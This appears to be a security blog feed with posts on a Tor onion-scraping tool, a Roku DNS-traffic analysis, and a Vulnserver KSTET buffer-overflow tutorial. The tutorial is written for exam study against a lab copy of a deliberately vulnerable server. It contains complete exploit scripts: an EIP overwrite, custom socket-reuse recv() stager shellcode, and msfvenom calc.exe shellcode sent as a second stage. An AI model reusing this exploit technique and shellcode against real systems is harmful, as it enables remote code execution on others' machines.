Normal view

There are new articles available, click to refresh the page.
Before yesterdaySevro Security

Hunting Onions – A Framework for Simple Darknet Analysis

By: Joshua
8 February 2020 at 18:12

Sevro Security
Hunting Onions – A Framework for Simple Darknet Analysis

One of the things I spend a-lot of time doing is researching the current threat landscape. I dedicate a-lot of time to pulling samples from Virus Total, reversing, analyzing, and searching for known/unknown IOC’s everywhere I can in order to properly mimic a threat actor. One of the places I search happens to be via Tor (AKA: the darknet). My method on how I connect to TOR varies and this post is not dedicated on how to stay safe and avoid data leakage. Rather, it’s to demonstrate a novel approach to obtaining .Onion address and analyzing them in a safe and efficient manner.

TL;DR: A full listing of classes and functions are detailed within the Github Wiki.


How Onion Hunter Works

NOTE: Onion Hunter does not download images, malware, full site source code, etc.. This is to protect the user and the system that is running the analysis. There’s a ton of bad things that can easily get you into trouble and for that reason alone, only the HTML of the page in question is analyzed and nothing more.


Onion-Hunter is a Python3 based framework that analyzes Onion site source code for user defined keywords and stores relevant data to a SQLite3 backend. Currently, the framework utilizes several sources to aggregate Onion addresses:

  • Reddit subreddits: A predefined set of subreddits are populated within the config.py. that are scraped for any Onion addresses.
  • Tor Deep Paste: This has turned out to be a very good source.
  • Fresh Onions Sources: Each onion address is analyzed to determine if it’s a fresh onion source (i.e., contains new/mapped onions) and if so, is saved to the FRESH_ONION_SOURCES table.
  • Additional_onions.txt: Any tertiary onion address, that is any address found that is not immediately analyzed, is saved to docs/additional_onions.txt for later analysis.

A researcher can also analyze individual or a text file filled with Onion address if they happen to come upon something interesting that warrants analysis and categorization.

Once valid .Onion addresses have been found, they’re analyzed by issuing a GET request to the .Onion address and searching the index source (HTML) for keywords that are per-defined by the researcher.

Onion Hunting Process

The Database

A SQLite3 backend is used to maintain records of all analyzed Onion addresses as well as a record of all Onions that have been categorized a probable Fresh Onion Domains. There are a total of three (3) tables that are used:

  1. ONIONS – Contains all Onion addresses observed and is by far, the most interesting table for analysis.
  2. FRESH_ONION_SOURCES – Any onion address that 50+ unique addresses listed on the front page and also include fresh onion keywords is categorized as a probable Fresh Onion Domain and saved to this table.
  3. KNOWN_ONIONS – This table is currently unused. It was designed for reporting purposes. That is, if for any reason you want to conduct analysis on weekly/monthly trends (for example) attributes of previously analyzed Onions can be added to this table and therefore avoid duplication is reporting.
CREATE TABLE ONIONS
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
DATE_FOUND TEXT NOT NULL,
DOMAIN_SOURCE TEXT NOT NULL,
URI TEXT NOT NULL,
URI_TITLE TEXT,
DOMAIN_HASH TEXT NOT NULL,
KEYWORD_MATCHES TEXT,
KEYWORD_MATCHES_SUM INT,
INDEX_SOURCE TEXT NOT NULL);

CREATE TABLE FRESH_ONION_SOURCES
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
URI TEXT NOT NULL,
DOMAIN_HASH TEXT NOT NULL,
FOREIGN KEY (DOMAIN_HASH) REFERENCES ONIONS (DOMAIN_HASH));

CREATE TABLE KNOWN_ONIONS
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
DOMAIN_HASH TEXT NOT NULL,
DATE_REPORTED TEXT,
REPORTED INT NOT NULL,
FOREIGN KEY (DOMAIN_HASH) REFERENCES ONIONS (DOMAIN_HASH));

An example of what the data looks like within the ONIONS table can be seen in the image below. For simply viewing the data, I like to used DB Browser for SQLite. However, all heavy operations should be done in code as this application can be very clunky.

Viewing the Onions table within DM browser

User Configuration

As stated above, the only method of domain/site analysis is by a simple keyword search. A user must supply the following within the src/config.py:

class configuration:

    def __init__(self):
        # Reddit API Variables
        self.r_username = ""
        self.r_password = ""
        self.r_client_id = ""
        self.r_client_secret = ""
        self.r_user_agent = ""

        # Reddit SubReddits to Search:
        self.sub_reddits = ["onions", "deepweb", "darknet", "tor", "conspiracy", "privacy", "vpn", "deepwebintel",
                            "emailprivacy", "drugs", "blackhat", "HowToHack", "netsec", "hacking",
                            "blackhatunderground", "blackhats", "blackhatting", "blackhatexploits",
                            "reverseengineering"]

        # Keywords to Search each Onions Address for.
        ## Searches the .onion source code retrieved via an HTTP GET request.
        self.keywords = ["Hacker", "Flawwedammy"]

Improvements

There are a lot of improvements that can be made to the current version and I intend on making some of these changes in 2020. For example, I would like to utilize duckduckgo API as well as Reddit to start the initial searching. There also may be reliable sources that keep tabs on Fresh Onion databases that are active on Tor. These information sources would be more reliable going forward.

Other improvements such as database optimization, site categorization, and user-defined analysis techniques are slotted as well.


Hunting Onions – A Framework for Simple Darknet Analysis
Joshua

Vulnserver KSTET Socket Re-use

By: Joshua
20 November 2019 at 23:21

Sevro Security
Vulnserver KSTET Socket Re-use

In a previous post, Vulnserver KSTET Egg Hunter, we looked at how we can use an egghunter to obtain code execution within a larger chunk of memory. In this post, we will look at the KSTET Socket re-use WS2_32.dll recv() function and how we can re-use this to pull in a larger chunk of shellcode within a buffer we allocate ourselves. In regards to Vulnserver.exe, the recv() function is used anytime we send data to the socket. The data is then parsed by the server and decides what to do with it.

Prerequisites:

  • Vulnserver.exe
  • Immunity or Ollydbg – I will be using Immunity
  • Mona.py
  • Windows VM – I am using a Windows XP Professional host

Resources:


I’m going to skip some of the set-up assuming you understand how to attach a debugger to a process or start a process within a debugger. If you don’t, go ahead and read some of my other buffer overflow tutorials.

The Crash

Part of why I decided to build this tutorial us because I am currently studying for the OSCE. As such, we are going to use the Spike Fuzzer (Native in Kali) to fuzz the VulnServer.exe application and just like the egg hunter tutorial, we will be fuzzing the KSTET parameter. Here is our Spike Fuzzing template (kstet.spk):

s_readline();
s_string("KSTET ");
s_string_variable("0");
s_string("\r\n");
s_readline();

The VulnServer listens on port 9999 and is residing at an IP Address: 192.168.5.130. So, our Spike Fuzzer syntax will be:

generic_send_tcp 192.168.5.130 9999 kstet.spk 0 0

During any fuzzing, it’s a good idea to keep a WireShark instance running in the background so you can manually analyze the packets if a crash occurs.

Fuzzing with the Spike Fuzzer

After less than 2 seconds, we have a visible crash that looks to have overwritten EIP and EBP.

Overflow success

Looking at Wireshark we see that the last valid connection contained the following data:

Wireshark analysis of spike fuzzer

Buffer Overflow Standard Steps

This is the repetitive part of any Buffer Overflow:

  1. Determine the offset in which we overwrote EIP.
  2. Find a JMP ESP Instruction we can use.
  3. Overwrite EIP with the JMP ESP address and control the execution flow.

Determine Offset:

We create a standard pattern using the Metasploit Frameworks pattern_create.rb. This generates a unique string n bytes long that is used to determine the actual offset of the overwrite. The syntax for the ruby script is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
Create pattern to determine EIP offset

Build a Python proof of concept to crash the application similar to the Spike Fuzzer:

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

pattern = ("""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq""")

buf = ""
buf += "KSTET /.:/"
buf += pattern
buf += "\r\n"

s.send(buf)

We send the payload, overwrite EIP with the pattern, and now determine the proper offset

Observed pattern overflowing EIP
Determine EIP offset in base 10

After we have the correct offset, we can build a proof of concept that shows two things:

  1. We have control of EIP and therefore have control of code execution
  2. How much space after the overwrite we have to play with (i.e. store our shellcode)
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += "B" * 4
buf += "C" * 500
buf += "\r\n"

s.send(buf)
Analysis of the Stack after the overflow

We control EIP and we only have 0x10 Bytes of room for shellcode. That’s not enough for anything. However, we have 0x44 Bytes above ESP that we can use to build something useful. In the previous KSTET tutorial, we used this space for an egg-hunter. Now, we are going to build our own shellcode to re-use the WS2_32.recv() function.

Find JMP ESP:

I personally like to use Mona.py with Immunity Debugger to help determine a valid JMP ESP. There are tons of ways to find a proper JMP ESP address, this one just fits my needs.

Finding JMP ESP

Verify we have EIP Control:

Set a breakpoint at the JMP ESP address you selected. Amend you python script to include the JMP ESP address and the EIP overwrite and verify you now hit the JMP ESP address and get back to your code (in this case, the C’s).

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "C" * 500
buf += "\r\n"

s.send(buf)

A Short Jump

In order to get more room to build our custom shellcode, we need to make a short jump to the top of the A’s. In the start of this tutorial, I posted a link describing the JMP SHORT instructions. Basically, these are two (2) byte instructions that will help us move around in memory without taking up a shit ton of space.

In this case, we want to get to address 0x00B8F9C6. An easy way to build the shellcode is write the instructions directly within Immunity by hitting the space bar and typing in the assembly.

Building a two byte jump instruction

As you can see, from the blue text on the left of the Assembly instructions, our opcode is going to be \xEB\xB8. We can simply add this into our python script and verify we have in-fact jumped backwards to our required address.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

buf = ""
buf += "KSTET /.:/"
buf += "A" * 66
buf += JMP_ESP
buf += "\xEB\xB8"               # JMP SHORT
buf += "C" * 500
buf += "\r\n"

s.send(buf)

WS2_32.recv() Review

Before we dig into writing custom shellcode, let’s analyze what is happening locally when recv() is called in the non-altered code.Let’s also define some terms and parameters that are necessary to fully understand before we understand the exploit.

The recv() function is part of the winsock.h header and takes a total of 4 parameters:

  1. SOCKET – This is a Socket Descriptor and defines a valid socket. It’s dynamic and changes each time the binary/exe is run.
  2. *buf – A pointer in memory where we want to start storing what is received from the socket connection.
  3. len – The size of the buffer in Bytes
  4. flags – Will always be set to 0 in our case. We essentially do not use this but need it to complete the function call.
MSDN WS2_32.recv Function Call

Three (3) of the four (4) parameters can be generated by us, the attacker. We easily make up our own values, pop them onto the stack and have a good ol’ day. But, the SOCKET descriptor is the odd man/woman out. This is set dynamically, by the program. It is, however, set predictably and as such we can analyze a live recv() call in action and find where it’s obtaining the SOCKET descriptor from. Once we know where it comes from, we can dynamically pull that value in with our custom shellcode to make our recv() call as legitimate as the original.

Analyze a Legitimate recv():

In your debugger, start a fresh run of vulnserver.exe and put it into a running state. To make sure the debugger (olly or immunity) has analyzed the code properly, hit CTRL+A. This will tell the debugger to analyze the assembly and point out any objective function calls. With this analyzed, look for the recv() function call.

Where recv() is called

From left to right, the first picture is where the recv() function is called within the program. The second picture is where we land when the CALL is executed. The address in the second image 0x0040252C is very important as that is that address we will CALL at the very end of our custom shellcode.

Next, let’s place a breakpoint at the CALL shown in the first image (leftmost image), and execute our overflow python script so we can observe the legitimate recv() function call.

When the python script is executed, we hit our breakpoint and can view the recv() parameters cleanly located on the stack for us.

Analysis of a valid WS2_32.recv function call
  • SOCKET DESCRIPTOR = 0x00000080
  • BUFFER START ADDR = 0x003E4AD0
  • BUFFER LENGTH = 0x00001000 (4096 Bytes base 10)
  • FLAGS = 0x00000000

Again, at this point, we only care where that Socket Descriptor came from. If we set our breakpoint a few instructions above the CALL <JMP.&WS2_32.recv> we find that MOV EAX, DWORD PTR SS:[EBP-420] is responsible for pulling in the Socket Descriptor. Cool, let’s do some basic math:

EBP = 00B8FFB4 and if we calculate: (00B8FFB4 420) = 00B8FB94‬.

If we navigate to this address in the debugger, we should find our Socket Descriptor and, we do.

Confirming we have found the Socket Descriptor

Custom Shellcode

Now that we have the location of the Socket Descriptor, we can start to build our custom shellcode to setup the stack for our evil recv() function call. Since the Stack grow from bottom up, we need to build our stack with that in mind starting by adding the FLAG parameter first and the Socket Descriptor last.

The easiest way to build your custom shellcode is simply to do it in the Debugger. Set a breakpoint at your JMP ESP, get to you JMP instruction and start building your shellcode. Below is an example on how I setup my Stack:

recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

Let’s go through this step by step:

  • Lines 2-3: I found that the stack was not aligned after the second payload was sent. This aligns the stack for our second payload
  • Lines 4-5: We XoR the EDX Register by itself to make it 0 (0x00000000) and PUSH it onto the stack. This will serve as our FLAG parameter.
  • Lines 6-8: We cannot have a null byte (0x00) in our shellcode so, we add 0x4 to EDX and shift it left by 1 Byte (8-bits) to give us 0x400 This serves as our Buffer Size.
  • Lines 9-12: Zero out EDX with XoR, MOV 0xB8F9FB90 into EDX, shift right to get rid of 0x90 and get our 0x00 for a final value of 0x00B8F9FB. This serves as our Buffer Start Address.
  • Lines 13-15: Load Socket Descriptor addr. into ECX, PUSH the value of the data located at ECX (denoted as [ECX]not ECX, note the difference). This serves as the Socket Descriptor.
  • Lines 16-18: Load the address of WS2_32.recv, that we found when we analyzed the legitimate recv(), into EDX and CALL EDX to complete the function call.
import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)

Exploitation

All we have to do is generate a second payload and send it right after our overflow payload. Since we have tricked vulnserver into running the recv() function, it will take our second send data and store it at the buffer address we specified. Let’s test this out with a payload of 0xCC (Int 3) so that the program will halt when it hits our shellcode.

Secondary payload made it to our memory location

Let’s add some basic shellcode to pop calc.exe and verify that our exploit works.

import socket
import struct
import time

IP = "192.168.5.130"
PORT = 9999
EIP_OFFSET = 66
JMP_ESP = struct.pack("I", 0x625011C7)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print(s.recv(2096))

# WS2_32.recv() Stack Setup
recv = ""
recv += "\x83\xEC\x50"                  # SUB ESP, 50
recv += "\x33\xD2"                      # XOR EDX, EDX
recv += "\x52"                          # PUSH EDX (FLAGS = 0)
recv += "\x83\xC2\x04"                  # ADD EDX, 0x4 
recv += "\xC1\xE2\x08"                  # SHL EDX, 8
recv += "\x52"                          # PUSH EDX (BUFFER SIZE = 0x400)
recv += "\x33\xD2"                      # XOR EDX, EDX 
recv += "\xBA\x90\xF8\xF9\xB8"          # MOV EDX, 0xB8F9FB90
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 
recv += "\x52"                          # PUSH EDX (BUFFER LOCATION = 0x00B8F9FB)
recv += "\xB9\x90\x94\xFB\xB8"          # MOV ECX, 0xB8FB9490
recv += "\xC1\xE9\x08"                  # SHR ECX, 8 
recv += "\xFF\x31"                      # PUSH DWORD PTR DS:[ECX] (SOCKET DESCRIPTOR LOADED)
recv += "\xBA\x90\x2C\x25\x40"          # MOV EDX, 0X0040252C
recv += "\xC1\xEA\x08"                  # SHR EDX, 8 (Location of RECV())
recv += "\xFF\xD2"                      # CALL EDX

buf = ""
buf += "KSTET /.:/"
buf += "\x90" * 2                       # NOPS
buf += recv                             # WS2_32.recv() function call
buf += "\x90" * (66 - (len(recv) + 2))  # NOPS 
buf += JMP_ESP                          # JMP ESP
buf += "\xEB\xB8"                       # JMP SHORT
buf += "C" * 500                        # FILLER
buf += "\r\n"

s.send(buf)                             # Stage 1 Payload Send

# msfvenom -p windows/exec CMD=calc.exe -b '\x00' --var-name calc -f python
calc =  b""
calc += b"\xdb\xdc\xd9\x74\x24\xf4\x5f\xb8\x43\x2c\x57\x7b\x2b"
calc += b"\xc9\xb1\x31\x31\x47\x18\x83\xc7\x04\x03\x47\x57\xce"
calc += b"\xa2\x87\xbf\x8c\x4d\x78\x3f\xf1\xc4\x9d\x0e\x31\xb2"
calc += b"\xd6\x20\x81\xb0\xbb\xcc\x6a\x94\x2f\x47\x1e\x31\x5f"
calc += b"\xe0\x95\x67\x6e\xf1\x86\x54\xf1\x71\xd5\x88\xd1\x48"
calc += b"\x16\xdd\x10\x8d\x4b\x2c\x40\x46\x07\x83\x75\xe3\x5d"
calc += b"\x18\xfd\xbf\x70\x18\xe2\x77\x72\x09\xb5\x0c\x2d\x89"
calc += b"\x37\xc1\x45\x80\x2f\x06\x63\x5a\xdb\xfc\x1f\x5d\x0d"
calc += b"\xcd\xe0\xf2\x70\xe2\x12\x0a\xb4\xc4\xcc\x79\xcc\x37"
calc += b"\x70\x7a\x0b\x4a\xae\x0f\x88\xec\x25\xb7\x74\x0d\xe9"
calc += b"\x2e\xfe\x01\x46\x24\x58\x05\x59\xe9\xd2\x31\xd2\x0c"
calc += b"\x35\xb0\xa0\x2a\x91\x99\x73\x52\x80\x47\xd5\x6b\xd2"
calc += b"\x28\x8a\xc9\x98\xc4\xdf\x63\xc3\x82\x1e\xf1\x79\xe0"
calc += b"\x21\x09\x82\x54\x4a\x38\x09\x3b\x0d\xc5\xd8\x78\xe1"
calc += b"\x8f\x41\x28\x6a\x56\x10\x69\xf7\x69\xce\xad\x0e\xea"
calc += b"\xfb\x4d\xf5\xf2\x89\x48\xb1\xb4\x62\x20\xaa\x50\x85"
calc += b"\x97\xcb\x70\xe6\x76\x58\x18\xc7\x1d\xd8\xbb\x17"


payload = ""
payload += calc
payload += "\r\n"

s.send(payload)                           # Stage 2 Payload Send
Shellcode injection to pop calc.exe after exploit

Vulnserver KSTET Socket Re-use
Joshua

Roku & PiHole – A Deep Dive

By: Joshua
7 December 2018 at 17:11

Sevro Security
Roku & PiHole – A Deep Dive

Update 1: (12/16/2018) – GitHub Repository Made Public Here.

Update 2: (12/16/2018) – Added a new analysis as /u/Anchor-shark within the /r/pihole subreddit mentioned I should take a look at a Roku that does not have the logging servers blocked. I have done just that.


This is a work in progress. It’s not perfect but it’s just starting to get cool and I’m digging deeper! I think this is going to be the first post in a series. I say that because I need to get my hands on some older hardware and there are some other gears moving as well. Anyhow, here’s the post.

A while back (years ago), I added a PiHole to my network. The thing is a damn workhorse! If you don’t know what PiHole is, well, you’re wrong and you should! Long story short, it’s a network-wide add blocker with a ton of features. But most importantly, it has lots of color and looks pretty.

PiHole Web GUI


Anyhow, I was recently looking over the data on my PiHole and noticed a serious amount of traffic coming from my Roku’s. Before I start getting into the specifics, let me first describe the systems on my network.

I own 3 different Roku’s. All of which are 1-2 years old which is important for a few different reasons.

  1. They’re all running Roku OS v8+
  2. Old features such as TCPdump are now unavailable.
  3. Secret menus contain less functionality.

The Roku’s are all on a 192.168.1.x/24 network. This isn’t massively important but, it’s worth noting.


Roku Traffic Analysis

PiHole was showing that a large majority of all the traffic on my home LAN was coming from my three Roku devices. This isn’t too surprising since they’re streaming devices and at any given time one or two of them are active (wife, kids, etc.).

I still decided to investigate and take a deeper look into the data to see what the Roku’s were actually doing. First, let’s just take a look at the data within the PiHole Web UI.

Top Blocked Domains
Top Clients for Blocked Activity

The traffic displayed int eh images above are DNS queries that has been blocked and queries that have nothing to do with my streaming services (i.e., Netflix, Amazon, etc.). But still, those are only the blocked domains that are being seen so, a deeper look was necessary.

The next logical thing to do is to pull the logs from the server and start to parse them. The problem is PiHole rotates the logs every 5 days. So before you can jump right in, you need to change the logrotate configuration. I changed mine to rotate every 100 days. Full disclosure, the data that I will present here is from a 14 day analysis. I don’t expect a massive difference but, I thought I would put it out there.

I waited 24 days, pulled the logs, and wrote some python to strip the logs for the data I wanted. My initial criteria to narrow the logs down to a manageable size was:

  • Only log entries with the DNS request coming from the Roku IP’s.
  • Only the Date, IP, URI attributes shall be parsed.

The logs themselves are not in the best form so, first things first, translate the data I want to a CSV and store to disk for later parsing. Also, this makes it SOO much easier to ingest the data into a pandas dataframe for analysis.

Once the logs are in CSV and in a dataframe object, we can them parse out the following:

  • Log entries that have a Roku logging servers listed as the URI.
  • Log entries for logging servers on a per IP basis for individual analysis.

This left me with several csv’s:

  • all_logs.csv – Contains all logs parsed from the 14 log files from the Roku IP’s.
  • roku_logs.csv – All log entries that are *.logs.roku.com
  • <ip>.csv – Three logs segregated by IP subject to the roku_logs.csv

My main goal with this initial analysis is to determine how much traffic compared to all traffic do the Roku’s generate on my network and how much of that traffic was Roku logging traffic (i.e., not streaming traffic). The last thing is a differential time analysis. That is, how often are the Roku’s beaconing out to the logging servers.


Analysis Results

When you initially look at the logs, it seems that most of the Roku’s beacon out every 30 seconds to their logging servers. Sometimes, well most times, it’s multiple beacons every 30 seconds to different servers. Here’s an example:

24 Days of aggregated data

  • Roku overall traffic made up 34% of all traffic on my LAN
  • Roku direct logging traffic made up 14% of all traffic on my LAN
  • 192.168.1.58:
    • Total Number of Logging Records: 115,594
    • Beacons on average every 18.69 seconds over 24 days
  • 192.168.1.99:
    • Total Number of Logging Records: 129,408
    • Beacons on average every 16.69 seconds over 24 days
  • 192.168.1.209:
    • Total Number of Logging Records: 149,977
    • Beacons on average every 14.40 seconds over 24 days

So what does this mean? Well, it means that on average, a Roku is logging information about you and your family about 380 (2-4 sDNS requests per 30-40 sec) times per hour and 8,800 times per day, give or take a few hundred.

Okay Okay but, what are they logging? Well, I started to attack this problem and the first logical step is to look at the Roku’s privacy policy. So, let’s take a look.


Update 1: Roku Logging Allowed 

Since this project came from my PiHole logs, I thought I would get some internet constructive criticism from the /r/pihole subreddit. You can view the thread here. One of the redditors made a really good point that basically stated that the Roku’s are effectively freaking out because their DNS requests are getting blocked. As such, the frequency is subject to the blocking and not the true nature of an active Roku whos DNS requests are not getting blocked. 

This is a really good point as this very well might be the case. So, for the last 4 days, I have allowed all Roku logging traffic on my LAN. The PiHole logs still capture the DNS requests and therefore, the logs still maintain a valid record of unblocked requests. 

Before we look at the data, I want to be as transparent as possible. I have made some adjustments on my timing function. Whereas I was originally looking at only unique timestamps per IP and then obtaining the time differential of the datetime objects via pairs, I am now simply taking the number of records (DNS Requests) and dividing them by the total number of seconds. The total number of seconds is determined by taking the last record in the DELTA_DATES array (i.e. DELTA_DATES[len(DELTA_DATES)-1]), which is a DateTime object, and subtracting it by the most recent date (i.e., DELTA_DATES[0]). I felt that not only is this much simpler but, it’s more representative as I am no longer just measuring unique records. I have edited the initial results to reflect the new changes. 

The Data

For the last 4 days, here is the information:

  • Roku Overall Traffic Made up 47% of all traffic on my LAN.
  • Roku Direct Logging Traffic made up 9% of all traffic on my LAN
  • 192.168.1.58:
    • Total Number of Logging Records: 17,694
    • Average Beaconing Time Interval: 18.19s
  •  192.168.1.99:
    • Total Number of Logging Records: 3,541
    • Average Beaconing Time Interval: 90.72s
  • 192.168.1.209:
    • Total Number of Logging Records: 6,439
    • Average Beaconing Time Interval: 49.87s
Weekday Analysis by Device

This is very interesting to me. The Roku that gets the most use by far is the living room (192.168.1.58) because it’s connected to our large 4K TV and is at the center of everything in our home. This guy is in use pretty much all day when we are at home (i.e., Music, Netflix, Sling, etc.). So it would seem that the more the system is being used, the more it is going to beacon out. It’s also worth noting that the other two Roku’s are not used as much. Especially the basement system as that’s really only used during parties. 

If we look specifically at the Living Room Roku and breakdown all traffic over the 4 days by hour, we can easily see that right away in the mornings (breakfast, news) the logging spikes and gradually goes up and down over midday and night suggesting that Roku logs a ton more ( every 18.19 seconds) if that system is in use. 

Living Room Time Analysis

The data seems to support Reddit’s point that Roku’s will phone home more if they’re being blocked, however if you are using those Roku’s frequently, it’s a moot point as it seems they log just as much if not more.

Let’s put my assertion to the test. The Living Room analysis above supports my assumption so, if we look at the Master Bedroom, where the Roku gets used before going to bed, we should see a spike around that time. And we do.

Master Bedroom Time Analysis

I think the big takeaways are:

  • The system log activity is directly correlated to use. This is probably objective for everyone.
  • Mild/Medium use of a Roku system generates just as much traffic as blocking DNS requests coming from Roku. We see a minor change in overall traffic from the Living Room host when we allowed all logging (0.5% difference).
  • For systems not is regular use, the DNS logging traffic decreases by 50-70 seconds per beacon if traffic is allowed supporting Reddits point that blocking traffic is, therefore, causing more traffic. Again, if you use a system frequently, it will generate just as much traffic if you were to block the DNS requests. 

What’s Roku Logging?

I’ll list a few of the things but first, here is the Roku Privacy Policy.

  • Name
  • Email Address
  • Postal Address
  • Phone Number
  • Birth Date
  • Demographic
  • Social Media Accounts
    • OAuth login information
  • Shipping Information
  • Purchase information
    • Web Cookies
    • Roku App Purchases
    • Gift purchases
  • Credit Card Information
  • Personal Information on friends/connections:
    • email
    • address
    • gifts
  • IP address
  • Operating System type
  • Operating System Version
  • WiFi network name
  • WiFi networking connection metrics
  • Web Cookie Data

The list goes on and on and on. But reading a privacy policy just isn’t sexy. So, I’ve pulled a few PCAP’s from my router  which, didn’t amount to much other than mapping the AWS buckets.

My next attempt to pull data from the logging PCAP’s was to DNS and ARP cache poison one of the Roku’s while running an HTTPS proxy and a self-signed certificate. This just ended up in a CA authenticity failure which, was to be expected. Maybe SSLStrip could work? Not sure yet but, this might not be the right path.


Future Research

Here is what I am currently working on in attempts to get more information all together.

Roku’s used to have a TCPDump utility when you enabled developer mode. All of my devices have been connected and have auto-update on. There’s also no way to revert the box to an older OS. However, I think I have a good lead on a system that has not been connected for a few years and might be interesting.

Roku’s developer API and Brightscript:

Roku uses their own programming language called brightscript. The API is pretty well documented and it’s very simple to enable developer mode via secret menus and start pulling XML information from the system. The issue is there is no direct contact to the underlying OS (Which is Linux) with the exception of a telnet shell with access to the free command. And trust me, I’ve tried all sorts of command injection with that!

Telnet Free Command

Within the Roku Developer documentation though it does talk about the way brightscript applications are sand-boxed and have limited access to system functions. The brightscript might be a dead end but, it’s worth a shot so I will build a few basic apps and see what information I can get from the system or the effetive application hypervisor.

Another interesting part of the Roku External API is the capability to send remote commands to the system via HTTP GET requests. By remote commands I mean the literal Roku Remote (Home, Netflix, Back, Up, etc.). This is interesting because it means that it may be possible to enable developer mode and manipulate settings without physical access to the system. So, if there was a possible exploit vector via a Brightscript application, that path to exploitation could hypothetically be automated.

Roku & PiHole – A Deep Dive
Joshua

Vulnserver KSTET Egg Hunter with Python3

By: Joshua
22 November 2018 at 04:37

Sevro Security
Vulnserver KSTET Egg Hunter with Python3

